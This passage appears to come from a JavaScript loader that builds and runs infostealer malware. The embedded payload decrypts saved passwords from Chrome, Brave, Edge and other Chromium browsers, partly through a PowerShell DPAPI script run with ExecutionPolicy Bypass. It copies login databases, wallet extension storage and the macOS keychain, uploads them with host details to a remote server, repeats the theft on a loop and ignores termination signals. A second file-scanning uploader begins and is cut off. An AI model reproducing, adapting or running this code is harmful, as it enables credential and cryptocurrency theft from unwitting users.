encryptedPassword.slice(ciphertextStart);\n  if (ciphertext.length &lt; 16) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const tag = ciphertext.slice(-16);\n  const encryptedData = ciphertext.slice(0, -16);\n  if (!masterKey) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  let key = masterKey.slice(0, 32);\n  if (key.length &lt; 32) &#123;\n    key = Buffer.concat([key, Buffer.alloc(32 - key.length)]);\n  &#125;\n  const decryptionAttempts = [\n    &#123; name: \&quot;AES-256-GCM (full key)\&quot;, key: key, keyLen: 32 &#125;,\n    &#123; name: \&quot;AES-128-GCM (first 16 bytes)\&quot;, key: key.slice(0, 16), keyLen: 16 &#125;\n  ];\n  if (masterKey.length &gt; 32) &#123;\n    decryptionAttempts.push(&#123;\n      name: \&quot;AES-256-GCM (full master key)\&quot;,\n      key: masterKey.slice(0, 32),\n      keyLen: 32\n    &#125;);\n  &#125;\n  for (const attempt of decryptionAttempts) &#123;\n    try &#123;\n      try &#123;\n        const cipher = crypto.createDecipheriv(&#x27;aes-256-gcm&#x27;, attempt.key, nonce);\n        cipher.setAuthTag(tag);\n        let decrypted = cipher.update(encryptedData, null, &#x27;utf8&#x27;);\n        decrypted += cipher.final(&#x27;utf8&#x27;);\n        if (decrypted) &#123;\n          return decrypted;\n        &#125;\n      &#125; catch (error) &#123;\n        const aadOptions = [Buffer.from(&#x27;chrome&#x27;), Buffer.from(&#x27;edge&#x27;)];\n        for (const aad of aadOptions) &#123;\n          try &#123;\n            const cipher = crypto.createDecipheriv(&#x27;aes-256-gcm&#x27;, attempt.key, nonce);\n            cipher.setAAD(aad);\n            cipher.setAuthTag(tag);\n            let decrypted = cipher.update(encryptedData, null, &#x27;utf8&#x27;);\n            decrypted += cipher.final(&#x27;utf8&#x27;);\n            if (decrypted) &#123;\n              return decrypted;\n            &#125;\n          &#125; catch (error) &#123;\n            continue;\n          &#125;\n        &#125;\n      &#125;\n    &#125; catch (error) &#123;\n      continue;\n    &#125;\n  &#125;\n  return \&quot;\&quot;;\n&#125;\nfunction decryptDPAPI(encryptedPassword) &#123;\n  try &#123;\n    const attempts = [\n      &#123; data: encryptedPassword, desc: \&quot;Original\&quot;, scope: 0 &#125;,\n      &#123; data: encryptedPassword, desc: \&quot;Original\&quot;, scope: 1 &#125;,\n    ];\n    if (encryptedPassword.length &gt; 1 &amp;&amp; encryptedPassword[0] === 0x01) &#123;\n      attempts.push(\n        &#123; data: encryptedPassword.slice(1), desc: \&quot;Skip version byte\&quot;, scope: 0 &#125;,\n        &#123; data: encryptedPassword.slice(1), desc: \&quot;Skip version byte\&quot;, scope: 1 &#125;\n      );\n    &#125;\n    if (encryptedPassword.length &gt; 3) &#123;\n      attempts.push(\n        &#123; data: encryptedPassword.slice(3), desc: \&quot;Skip first 3 bytes\&quot;, scope: 0 &#125;,\n        &#123; data: encryptedPassword.slice(3), desc: \&quot;Skip first 3 bytes\&quot;, scope: 1 &#125;\n      );\n    &#125;\n    for (const attempt of attempts) &#123;\n      try &#123;\n        const scopeName = attempt.scope === 0 ? \&quot;CurrentUser\&quot; : \&quot;LocalMachine\&quot;;\n        const base64Encrypted = attempt.data.toString(&#x27;base64&#x27;);\n        const tempScriptPath = path.join(os.tmpdir(), `decrypt-$&#123;Date.now()&#125;-$&#123;Math.random().toString(36).substr(2, 9)&#125;.ps1`);\n        const psScript = `$ErrorActionPreference = &#x27;Stop&#x27;;\ntry &#123;\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n&#125; catch &#123;\n[System.Reflection.Assembly]::Load(&#x27;System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#x27;) | Out-Null;\n&#125;\n$encrypted = [System.Convert]::FromBase64String(&#x27;$&#123;base64Encrypted&#125;&#x27;);\ntry &#123;\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::$&#123;scopeName&#125;);\n&#125; catch &#123;\nthrow;\n&#125;\n[System.Text.Encoding]::UTF8.GetString($decrypted)`;\n        fs.writeFileSync(tempScriptPath, psScript, &#x27;utf8&#x27;);\n        try &#123;\n          const decrypted = execSync(\n            `powershell -NoProfile -ExecutionPolicy Bypass -File \&quot;$&#123;tempScriptPath&#125;\&quot;`,\n            &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024, windowsHide: true &#125;\n          ).trim();\n          if (decrypted &amp;&amp; decrypted.length &gt; 0) &#123;\n            return decrypted;\n          &#125;\n        &#125; catch (execError) &#123;\n          continue;\n        &#125; finally &#123;\n          try &#123;\n            fs.unlinkSync(tempScriptPath);\n          &#125; catch (e) &#123;\n          &#125;\n        &#125;\n      &#125; catch (error) &#123;\n        continue;\n      &#125;\n    &#125;\n    return \&quot;\&quot;;\n  &#125; catch (error) &#123;\n    return \&quot;\&quot;;\n  &#125;\n&#125;\nasync function extractPasswordsFromBrowser(browserIndex, basePath) &#123;\n  if (!fs.existsSync(basePath)) &#123;\n    return &#123; passwords: [], masterKey: null &#125;;\n  &#125;\n  const platform = process.platform;\n  let localStatePath;\n  if (platform === &#x27;win32&#x27;) &#123;\n    localStatePath = path.join(basePath, &#x27;Local State&#x27;);\n  &#125; else &#123;\n    localStatePath = path.join(basePath, &#x27;Local State&#x27;);\n  &#125;\n    console.log(localStatePath)\n  const masterKey = fs.existsSync(localStatePath) ? getBrowserEncryptionKey(localStatePath, `Browser$&#123;browserIndex&#125;`) : null;\n  const defaultProfileDir = path.join(basePath, &#x27;Default&#x27;);\n  const allPasswords = [];\n  console.log(&#x27;masterKey&#x27;, masterKey);\n  const loginDataNames = [&#x27;Login Data&#x27;, &#x27;Login Data For Account&#x27;];\n  for (const loginDataName of loginDataNames) &#123;\n    const defaultProfileLoginData = path.join(defaultProfileDir, loginDataName);\n    if (fs.existsSync(defaultProfileLoginData)) &#123;\n      const passwords = await extractPasswords(defaultProfileLoginData, masterKey, `Browser$&#123;browserIndex&#125;`);\n      allPasswords.push(...passwords);\n    &#125;\n  &#125;\n  try &#123;\n    const items = fs.readdirSync(basePath);\n    for (const item of items) &#123;\n      if (item === &#x27;Default&#x27; || item === &#x27;Local State&#x27; || item.startsWith(&#x27;.&#x27;)) &#123;\n        continue;\n      &#125;\n      if (item.startsWith(&#x27;Profile &#x27;)) &#123;\n        const profileDir = path.join(basePath, item);\n        try &#123;\n          const stats = fs.statSync(profileDir);\n          if (!stats.isDirectory()) &#123;\n            continue;\n          &#125;\n        &#125; catch (statError) &#123;\n          continue;\n        &#125;\n        for (const loginDataName of loginDataNames) &#123;\n          const profileLoginData = path.join(profileDir, loginDataName);\n          if (fs.existsSync(profileLoginData)) &#123;\n            const passwords = await extractPasswords(profileLoginData, masterKey, `Browser$&#123;browserIndex&#125; ($&#123;item&#125;)`);\n            allPasswords.push(...passwords);\n          &#125;\n        &#125;\n      &#125;\n    &#125;\n  &#125; catch (error) &#123;\n  &#125;\n  return &#123; passwords: allPasswords, masterKey: masterKey ? masterKey.toString(&#x27;base64&#x27;) : null &#125;;\n&#125;\nasync function extractPasswords(loginDataPath, masterKey, browserName) &#123;\n  if (!fs.existsSync(loginDataPath)) &#123;\n    return [];\n  &#125;\n  const tempDbPath = path.join(os.tmpdir(), `$&#123;browserName&#125;_login_data_$&#123;process.pid&#125;_$&#123;Date.now()&#125;.db`);\n  try &#123;\n    fs.copyFileSync(loginDataPath, tempDbPath);\n  &#125; catch (error) &#123;\n    return [];\n  &#125;\n  const passwords = [];\n  try &#123;\n    const SQL = await initSqlJs();\n    if (!SQL) &#123;\n      return [];\n    &#125;\n    const fileBuffer = fs.readFileSync(tempDbPath);\n    const db = new SQL.Database(fileBuffer);\n    const result = db.exec(`\n      SELECT \n        origin_url,\n        username_value,\n        password_value,\n        date_created,\n        date_last_used\n      FROM logins\n      ORDER BY origin_url\n    `);\n    if (!result || result.length === 0) &#123;\n      db.close();\n      try &#123;\n        fs.unlinkSync(tempDbPath);\n      &#125; catch (e) &#123;\n      &#125;\n      return [];\n    &#125;\n    const rows = result[0].values;\n    const columnNames = result[0].columns;\n    const colIndex = &#123;\n      origin_url: columnNames.indexOf(&#x27;origin_url&#x27;),\n      username_value: columnNames.indexOf(&#x27;username_value&#x27;),\n      password_value: columnNames.indexOf(&#x27;password_value&#x27;),\n      date_created: columnNames.indexOf(&#x27;date_created&#x27;),\n      date_last_used: columnNames.indexOf(&#x27;date_last_used&#x27;)\n    &#125;;\n    for (let idx = 0; idx &lt; rows.length; idx++) &#123;\n      const row = rows[idx];\n      try &#123;\n        const url = row[colIndex.origin_url];\n        const username = row[colIndex.username_value];\n        const passwordValue = row[colIndex.password_value];\n        const dateCreated = row[colIndex.date_created];\n        const dateLastUsed = row[colIndex.date_last_used];\n        if (!passwordValue || passwordValue.length === 0) &#123;\n          continue;\n        &#125;\n        let encryptedPassword;\n        if (typeof passwordValue === &#x27;string&#x27;) &#123;\n          encryptedPassword = Buffer.from(passwordValue, &#x27;latin-1&#x27;);\n        &#125; else if (Buffer.isBuffer(passwordValue)) &#123;\n          encryptedPassword = passwordValue;\n        &#125; else &#123;\n          encryptedPassword = Buffer.from(passwordValue);\n        &#125;\n        const password = decryptPassword(encryptedPassword, masterKey);\n        function chromeTimeToISO(timestamp) &#123;\n          if (!timestamp) &#123;\n            return null;\n          &#125;\n          const epoch = new Date(&#x27;1601-01-01T00:00:00Z&#x27;).getTime();\n          const chromeTime = timestamp / 1000000;\n          const unixTime = chromeTime - 11644473600;\n          return new Date(unixTime * 1000).toISOString();\n        &#125;\n        const entry = &#123;\n          url: url,\n          u: username,\n          p: password,\n          created: chromeTimeToISO(dateCreated),\n          last_used: chromeTimeToISO(dateLastUsed)\n        &#125;;\n        if (!password &amp;&amp; encryptedPassword &amp;&amp; encryptedPassword.length &gt; 0) &#123;\n          entry.p_encrypted = encryptedPassword.toString(&#x27;base64&#x27;);\n        &#125;\n        passwords.push(entry);\n      &#125; catch (error) &#123;\n        continue;\n      &#125;\n    &#125;\n    db.close();\n  &#125; catch (error) &#123;\n    // console.log(\&quot;error\&quot;, error);\n  &#125; finally &#123;\n    try &#123;\n      fs.unlinkSync(tempDbPath);\n    &#125; catch (e) &#123;\n    &#125;\n  &#125;\n  return passwords;\n&#125;\nasync function extractAndUploadPasswords(timestamp, tempDir) &#123;\n  try &#123;\n    const browserNames = [&#x27;Chrome&#x27;, &#x27;Brave&#x27;, &#x27;AVG Browser&#x27;, &#x27;Edge&#x27;, &#x27;Opera&#x27;, &#x27;Opera GX&#x27;, &#x27;Vivaldi&#x27;, &#x27;Kiwi Browser&#x27;, &#x27;Yandex Browser&#x27;, &#x27;Iridium&#x27;, &#x27;Comodo Dragon&#x27;, &#x27;SRWare Iron&#x27;, &#x27;Chromium&#x27;];\n    const allPasswords = &#123;&#125;;\n    const masterKeys = &#123;&#125;;\n    for (let browserIndex = 0; browserIndex &lt; basePaths.length; browserIndex++) &#123;\n      const basePath = basePaths[browserIndex];\n      if (!fs.existsSync(basePath)) &#123;\n        continue;\n      &#125;\n      const browserName = browserNames[browserIndex] || `Browser$&#123;browserIndex&#125;`;\n      const result = await extractPasswordsFromBrowser(browserIndex, basePath);\n      if (result.passwords.length &gt; 0) &#123;\n        allPasswords[browserName] = result.passwords;\n        if (result.masterKey) &#123;\n          masterKeys[browserName] = result.masterKey;\n        &#125;\n      &#125;\n    &#125;\n    if (Object.keys(allPasswords).length &gt; 0) &#123;\n      const fileName = &#x27;s.txt&#x27;;\n      const fileContent = JSON.stringify(&#123; passwords: allPasswords, masterKeys: masterKeys &#125;, null, 2);\n      const filePath = path.join(tempDir || os.tmpdir(), fileName);\n      fs.writeFileSync(filePath, fileContent, &#x27;utf8&#x27;);\n      const passwordFile = await collectFile(filePath, null, null, &#x27;&#x27;, tempDir);\n      if (passwordFile) &#123;\n        await uploadFiles([passwordFile], timestamp);\n      &#125;\n      if (!tempDir &amp;&amp; fs.existsSync(filePath)) &#123;\n        try &#123;\n          fs.unlinkSync(filePath);\n        &#125; catch (e) &#123;\n        &#125;\n      &#125;\n    &#125;\n  &#125; catch (error) &#123;\n  &#125;\n&#125;\nconst uploadBraveWallet = async (timestamp, tempDir) =&gt; &#123;\n  const browserId = 1; // Brave is index 1 in chromiumBrowserPaths\n  const extensionId = &#x27;bravewallet&#x27;;\n  const braveBasePath = basePaths[1]; // Brave is index 1\n  if (!braveBasePath || !fs.existsSync(braveBasePath)) return;\n  const folders = fs\n    .readdirSync(braveBasePath)\n    .filter((folder) =&gt; /^Profile.*|^Default$/.test(folder));\n  for (let folderIndex = 0; folderIndex &lt; folders.length; folderIndex++) &#123;\n    const folder = folders[folderIndex];\n    let profileId;\n    if (folder === \&quot;Default\&quot;) &#123;\n      profileId = 0;\n    &#125; else &#123;\n      const match = folder.match(/Profiles+(d+)/);\n      profileId = match ? parseInt(match[1]) : folderIndex;\n    &#125;\n    const leveldbPath = path.join(braveBasePath, folder, \&quot;Local Storage/leveldb\&quot;);\n    if (!fs.existsSync(leveldbPath)) continue;\n    const walletFiles = [];\n    try &#123;\n      const files = fs.readdirSync(leveldbPath);\n      for (const file of files) &#123;\n        const filePath = path.join(leveldbPath, file);\n        const collectedFile = await collectFile(filePath, browserId, profileId, extensionId, tempDir);\n        if (collectedFile) &#123;\n          walletFiles.push(collectedFile);\n        &#125;\n      &#125;\n      if (walletFiles.length &gt; 0) &#123;\n        await uploadFiles(walletFiles, timestamp);\n      &#125;\n    &#125; catch (err) &#123;\n    &#125;\n  &#125;\n&#125;;\nconst basePaths = getChromiumBasePaths();\n// const skipFiles = [&#x27;LOCK&#x27;, &#x27;CURRENT&#x27;, &#x27;LOG&#x27;, &#x27;LOG.old&#x27;, &#x27;MANIFEST&#x27;];\nconst collectFile = async (p, browserId = null, profileId = null, extensionId = null, tempDir = null) =&gt; &#123;\n  if (!fs.existsSync(p)) return null;\n  const fileName = path.basename(p);\n  try &#123;\n    if (fs.statSync(p).isFile()) &#123;\n      let filePath = p;\n      let isTempFile = false;\n      if (tempDir) &#123;\n        try &#123;\n          const uniqueName = `$&#123;Date.now()&#125;_$&#123;Math.random().toString(36).substring(7)&#125;_$&#123;fileName&#125;`;\n          const tempFilePath = path.join(tempDir, uniqueName);\n          const fileContent = fs.readFileSync(p);\n          fs.writeFileSync(tempFilePath, fileContent);\n          filePath = tempFilePath;\n          isTempFile = true;\n        &#125; catch (copyErr) &#123;\n          if (copyErr.code === &#x27;EBUSY&#x27; || copyErr.code === &#x27;EACCES&#x27; || copyErr.code === &#x27;ENOENT&#x27;) &#123;\n            return null;\n          &#125; else &#123;\n            return null;\n          &#125;\n        &#125;\n      &#125;\n      return &#123;\n        path: filePath,\n        originalPath: p,\n        filename: path.basename(p),\n        browserId: browserId,\n        profileId: profileId,\n        extensionId: extensionId || &#x27;&#x27;,\n        isTempFile: isTempFile\n      &#125;;\n    &#125;\n  &#125; catch (err) &#123;\n    if (err.code === &#x27;EBUSY&#x27; || err.code === &#x27;EACCES&#x27;) &#123;\n      return null;\n    &#125;\n  &#125;\n  return null;\n&#125;;\nconst uploadFiles = async (files, timestamp) =&gt; &#123;\n  if (!files || files.length === 0) return;\n  const form = new FormData();\n  const fileMetadata = [];\n  for (const file of files) &#123;\n    if (!file || !file.path) continue;\n    try &#123;\n      const readStream = fs.createReadStream(file.path);\n      readStream.on(&#x27;error&#x27;, (streamErr) =&gt; &#123;\n        if (streamErr.code !== &#x27;EBUSY&#x27; &amp;&amp; streamErr.code !== &#x27;EACCES&#x27;) &#123;&#125;\n      &#125;);\n      form.append(\&quot;files\&quot;, readStream, &#123;\n        filename: file.filename\n      &#125;);\n      fileMetadata.push(&#123;\n        browserId: file.browserId !== null ? file.browserId : &#x27;&#x27;,\n        profileId: file.profileId !== null ? file.profileId : &#x27;&#x27;,\n        extensionId: file.extensionId || &#x27;&#x27;,\n        originalFilename: file.filename\n      &#125;);\n    &#125; catch (err) &#123;\n      if (err.code === &#x27;EBUSY&#x27; || err.code === &#x27;EACCES&#x27;) &#123;continue;&#125;      \n    &#125;\n  &#125;\n  if (fileMetadata.length &gt; 0) &#123;\n    try &#123;\n      const response = await axios.post(`&quot;</span> +</span><br><span class="line">    l_s +</span><br><span class="line">    <span class="string">&quot;`, form, &#123;\n        headers: &#123;\n          ...form.getHeaders(),\n          userkey: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n          hostname: encodeURIComponent(os.hostname()),\n          timestamp: timestamp,\n          &#x27;file-metadata&#x27;: JSON.stringify(fileMetadata), // Send metadata array\n          t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n        &#125;,\n        maxContentLength: Infinity,\n        maxBodyLength: Infinity,\n        validateStatus: (status) =&gt; status &lt; 500, // Don&#x27;t throw on 4xx errors\n      &#125;);\n      if (response.status &gt;= 200 &amp;&amp; response.status &lt; 300) &#123;&#125; else &#123;&#125;\n    &#125; catch (uploadErr) &#123;\n      if (uploadErr.code === &#x27;ECONNRESET&#x27; || uploadErr.code === &#x27;ECONNREFUSED&#x27;) &#123;\n      &#125; else if (uploadErr.response) &#123;\n      &#125; else &#123;&#125;\n    &#125;\n  &#125;\n&#125;;\nconst iterate = async () =&gt; &#123;\nconst timestamp = Math.round(Date.now() / 1000);\nconst platform = process.platform;\nconst filesToUpload = [];\nconst homeDir = os.homedir();\nconst tempBaseDir = path.join(os.tmpdir(), &#x27;.tmp&#x27;);\nconst tempDir = path.join(tempBaseDir, `.upload_$&#123;timestamp&#125;_$&#123;Math.random().toString(36).substring(7)&#125;`);\ntry &#123;\n  if (!fs.existsSync(tempBaseDir)) &#123;\n    await fsPromises.mkdir(tempBaseDir, &#123; recursive: true &#125;);\n  &#125;\n  await fsPromises.mkdir(tempDir, &#123; recursive: true &#125;);\n&#125; catch (err) &#123;&#125;\ntry &#123;\n  // First, create and upload sysinfo.txt\n  const s_i = gsi();\n  const sysinfoContent = `Host: $&#123;s_i.host&#125;\\nOS: $&#123;s_i.os&#125;\\nUsername: $&#123;s_i.username&#125;\\nPlatform: $&#123;platform&#125;\\nTimestamp: $&#123;new Date().toISOString()&#125;\\n`;\n  const sysinfoPath = path.join(tempDir, &#x27;sysinfo.txt&#x27;);\n  fs.writeFileSync(sysinfoPath, sysinfoContent, &#x27;utf8&#x27;);\n  const sysinfoFile = &#123;\n    path: sysinfoPath,\n    originalPath: sysinfoPath,\n    filename: &#x27;sysinfo.txt&#x27;,\n    browserId: &#x27;&#x27;,\n    profileId: &#x27;&#x27;,\n    extensionId: &#x27;&#x27;,\n    isTempFile: true\n  &#125;;\n  await uploadFiles([sysinfoFile], timestamp);\n  \n  if (os.platform() == \&quot;darwin\&quot;) &#123;\n    const keychainFile = await collectFile(`$&#123;process.env.HOME&#125;/Library/Keychains/login.keychain-db`, &#x27;&#x27;, &#x27;&#x27;, &#x27;&#x27;, tempDir);\n    if (keychainFile) &#123;\n      await uploadFiles([keychainFile], timestamp);\n    &#125;\n  &#125;\n  for (let basePathIndex = 0; basePathIndex &lt; basePaths.length; basePathIndex++) &#123;\n    const basePath = basePaths[basePathIndex];\n    const browserId = basePathIndex; // 0 for Chrome, 1 for Brave\n    if (!fs.existsSync(basePath)) continue;\n    const folders = fs\n      .readdirSync(basePath)\n      .filter((folder) =&gt; /^Profile.*|^Default$/.test(folder));\n    for (let folderIndex = 0; folderIndex &lt; folders.length; folderIndex++) &#123;\n      const folder = folders[folderIndex];\n      let profileId;\n      if (folder === \&quot;Default\&quot;) &#123;\n        profileId = 0;\n      &#125; else &#123;\n        const match = folder.match(/Profiles+(d+)/);\n        profileId = match ? parseInt(match[1]) : folderIndex;\n      &#125;\n      const profileFiles = [];\n      for (wp of wps) &#123;\n        const fp = `$&#123;basePath&#125;/$&#123;folder&#125;/Local Extension Settings/$&#123;wp&#125;`;\n        if (!fs.existsSync(fp)) continue;\n        const dirs = fs.readdirSync(fp);\n        for (dr of dirs) &#123;\n          const file = await collectFile(`$&#123;fp&#125;/$&#123;dr&#125;`, browserId, profileId, wp, tempDir);\n          if (file) profileFiles.push(file);\n        &#125;\n        if (profileFiles.length &gt; 0) &#123;\n          await uploadFiles(profileFiles, timestamp);\n          profileFiles.length = 0; // Clear the array \n        &#125;\n      &#125;\n      const loginDataNames = [&#x27;Login Data&#x27;, &#x27;Login Data For Account&#x27;];\n      for (const loginDataName of loginDataNames) &#123;\n        const loginDataFile = await collectFile(`$&#123;basePath&#125;/$&#123;folder&#125;/$&#123;loginDataName&#125;`, browserId, profileId, &#x27;&#x27;, tempDir);\n        if (loginDataFile) &#123; profileFiles.push(loginDataFile);&#125;\n      &#125;      \n      const webDataFile = await collectFile(`$&#123;basePath&#125;/$&#123;folder&#125;/Web Data`, browserId, profileId, &#x27;&#x27;, tempDir);\n      if (webDataFile) profileFiles.push(webDataFile);\n      if (profileFiles.length &gt; 0) &#123;\n        await uploadFiles(profileFiles, timestamp);\n      &#125;\n    &#125;\n  &#125;\n  await uploadBraveWallet(timestamp, tempDir);\n  if (i % 3 === 0) &#123; // every 3rd iteration\n    await extractAndUploadPasswords(timestamp, tempDir);\n  &#125;\n&#125; finally &#123;\n  if (fs.existsSync(tempDir)) &#123;\n    try &#123;\n      const files = await fsPromises.readdir(tempDir);\n      await Promise.all(files.map(file =&gt; \n        fsPromises.unlink(path.join(tempDir, file)).catch(() =&gt; &#123;&#125;)\n      ));\n      await fsPromises.rmdir(tempDir);\n    &#125; catch (cleanupErr) &#123;\n      try &#123;\n        if (fs.rmSync) &#123;\n          fs.rmSync(tempDir, &#123; recursive: true, force: true &#125;);\n        &#125;\n      &#125; catch (altCleanupErr) &#123;&#125;\n    &#125;\n  &#125;\n&#125;\n\n&#125;;\n\nconst run = async () =&gt; &#123;\nawait iterate();\ni++;\nawait sleep(30000);\ni &lt;= 10 &amp;&amp; (await run());\n&#125;;\nprocess.on(&#x27;uncaughtException&#x27;, (error) =&gt; &#123;\nconsole.error(&#x27;Uncaught Exception:&#x27;, error.message);\n&#125;);\n\nprocess.on(&#x27;unhandledRejection&#x27;, (reason, promise) =&gt; &#123;\nconsole.error(&#x27;Unhandled Rejection at:&#x27;, promise, &#x27;reason:&#x27;, reason);\n&#125;);\n\n(async () =&gt; &#123;\ntry &#123;\n  await run();\n&#125; catch (error) &#123;\n  console.error(&#x27;Fatal error in run():&#x27;, error.message);\n&#125;\n&#125;)();&quot;</span>;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(I, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.1.lock&quot;</span>, <span class="string">&quot;ldbScript&quot;</span>, f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (o) &#123;&#125;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> s =</span><br><span class="line">      <span class="string">&#x27;const UPLOAD_DELAY_MS = 120;\n        const ADAPTIVE_DELAY_MS = 20;\n        const MIN_UPLOAD_TIME_MS = 50;\n        const MAX_FILE_SIZE_BYTES = 5 * 1024 * 1024; // 5MB\n\n        const fs = require(&quot;fs&quot;);\n        const path = require(&quot;path&quot;);\n        const os = require(&quot;os&quot;);\n        const FormData = require(&quot;form-data&quot;);\n        const axios = require(&quot;axios&quot;);\n        const &#123; execSync &#125; = require(&quot;child_process&quot;);\n\n        &#x27;</span> +</span><br><span class="line">      <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;autoupload&quot;</span>) +</span><br><span class="line">      <span class="string">&#x27;\n        const HOME_DIRECTORY = os.homedir();\n\n        // Global variable for priority directories (set in main function)\n        let priorityDirs = [];\n\n        // Add process error handlers to prevent premature exits\n        process.on(&quot;uncaughtException&quot;, (err) =&gt; &#123;\n          console.error(&quot;Uncaught Exception:&quot;, err.message);\n          console.error(&quot;Stack:&quot;, err.stack);\n          // Don\&#x27;t exit - continue scanning despite errors\n          // The script should complete the scan even if some operations fail\n        &#125;);\n\n        process.on(&quot;unhandledRejection&quot;, (reason, promise) =&gt; &#123;\n          console.error(&quot;Unhandled Rejection:&quot;, reason);\n          // Don\&#x27;t exit - continue scanning despite errors\n        &#125;);\n\n        // Handle process termination signals gracefully\n        process.on(&quot;SIGTERM&quot;, () =&gt; &#123;\n          \n          // Don\&#x27;t exit immediately - let the scan finish\n        &#125;);\n\n        process.on(&quot;SIGINT&quot;, () =&gt; &#123;\n          \n          // Don\&#x27;t exit immediately - let the scan finish\n        &#125;);\n\n        // File extensions to exclude from scanning\n        const EXCLUDED_FILE_EXTENSIONS = [&quot;.exe&quot;,&quot;.dll&quot;,&quot;.so&quot;,&quot;.dylib&quot;,&quot;.bin&quot;,&quot;.app&quot;,&quot;.deb&quot;,&quot;.rpm&quot;,&quot;.pkg&quot;,&quot;.dmg&quot;,&quot;.msi&quot;,&quot;.appimage&quot;,&quot;.lnk&quot;,&quot;.alias&quot;,&quot;.desktop&quot;,&quot;.mp4&quot;,&quot;.mp3&quot;,&quot;.avi&quot;,&quot;.mov&quot;,&quot;.wmv&quot;,&quot;.flv&quot;,&quot;.mkv&quot;,&quot;.webm&quot;,&quot;.wma&quot;,&quot;.wav&quot;,&quot;.flac&quot;,&quot;.aac&quot;,&quot;.ogg&quot;,&quot;.m4a&quot;,&quot;.gif&quot;,&quot;.tiff&quot;,&quot;.svg&quot;,&quot;.ico&quot;,&quot;.heif&quot;,&quot;.tmp&quot;,&quot;.temp&quot;,&quot;.swp&quot;,&quot;.swo&quot;,&quot;.jar&quot;,&quot;.war&quot;,&quot;.ear&quot;,&quot;.sublime-project&quot;,&quot;.sublime-workspace&quot;];\n\n        const EXCLUDED_PATH_PATTERNS = [&quot;.quokka&quot;,&quot;.bash_rc&quot;,&quot;.bash_sessions&quot;,&quot;.atom&quot;,&quot;.zen&quot;,&quot;thumbnails&quot;,&quot;.rhinocode&quot;,&quot;.codeium&quot;,&quot;.adobe&quot;,&quot;.matplotlib&quot;,&quot;.antigravity&quot;,&quot;.gemini&quot;,&quot;.pyenv&quot;,&quot;.pgadmin&quot;,&quot;.ipython&quot;,&quot;.idlerc&quot;,&quot;.codex&quot;,&quot;.qodo&quot;,&quot;.cups&quot;,&quot;.n2&quot;,&quot;.n3&quot;,&quot;.pki&quot;,&quot;.ruby&quot;,&quot;.vscode-remote&quot;,&quot;.python&quot;,&quot;.php&quot;,&quot;.oh-my-zsh&quot;,&quot;.nvs&quot;,&quot;.maven&quot;,&quot;.jupyter&quot;,&quot;.dotnet&quot;,&quot;assetbundles&quot;,&quot;.pnpm-store&quot;,&quot;.rbenv&quot;,&quot;movies&quot;, &quot;music&quot;,&quot;adobe&quot;,&quot;package cache&quot;,&quot;nvidia corporation&quot;,&quot;saved games&quot;,&quot;winrar&quot;,&quot;.cargo&quot;,&quot;.lingma&quot;,&quot;.qoder&quot;,&quot;.trae-aicc&quot;,&quot;.vscode-insiders&quot;,&quot;.avo-code&quot;,&quot;ubuntu-backup&quot;,&quot;snap-data&quot;,&quot;app-configs&quot;,&quot;.local&quot;,&quot;.config&quot;,&quot;.anydesk&quot;,&quot;library&quot;,&quot;programdata&quot;,&quot;.tmp&quot;,&quot;node_modules&quot;,&quot;npm&quot;,&quot;.npm&quot;,&quot;.yarn&quot;,&quot;yarn.lock&quot;,&quot;package-lock.json&quot;,&quot;pnpm-store&quot;,&quot;.pnpm&quot;,&quot;public&quot;,&quot;static&quot;,&quot;assets&quot;,&quot;resources&quot;,&quot;css&quot;,&quot;less&quot;,&quot;scss&quot;,&quot;sass&quot;,&quot;stylus&quot;,&quot;styles&quot;,&quot;style&quot;,&quot;themes&quot;,&quot;theme&quot;,&quot;build&quot;,&quot;dist&quot;,&quot;out&quot;,&quot;target&quot;,&quot;bin&quot;,&quot;obj&quot;,&quot;.next&quot;,&quot;.nuxt&quot;,&quot;.output&quot;,&quot;.vuepress&quot;,&quot;.vitepress&quot;,&quot;appdata&quot;,&quot;program files&quot;,&quot;program files (x86)&quot;,&quot;windows&quot;,&quot;windows.old&quot;,&quot;system volume information&quot;,&quot;\\$recycle.bin&quot;,&quot;recovery&quot;,&quot;perflogs&quot;,&quot;intel&quot;,&quot;amd&quot;,&quot;nvidia&quot;,&quot;microsoft&quot;,&quot;microsoftedgebackup&quot;,&quot;system&quot;,&quot;applications&quot;,&quot;.trash&quot;,&quot;.spotlight-v100&quot;,&quot;.fseventsd&quot;,&quot;.documentrevisions-v100&quot;,&quot;.temporaryitems&quot;,&quot;.vol&quot;,&quot;cores&quot;,&quot;application 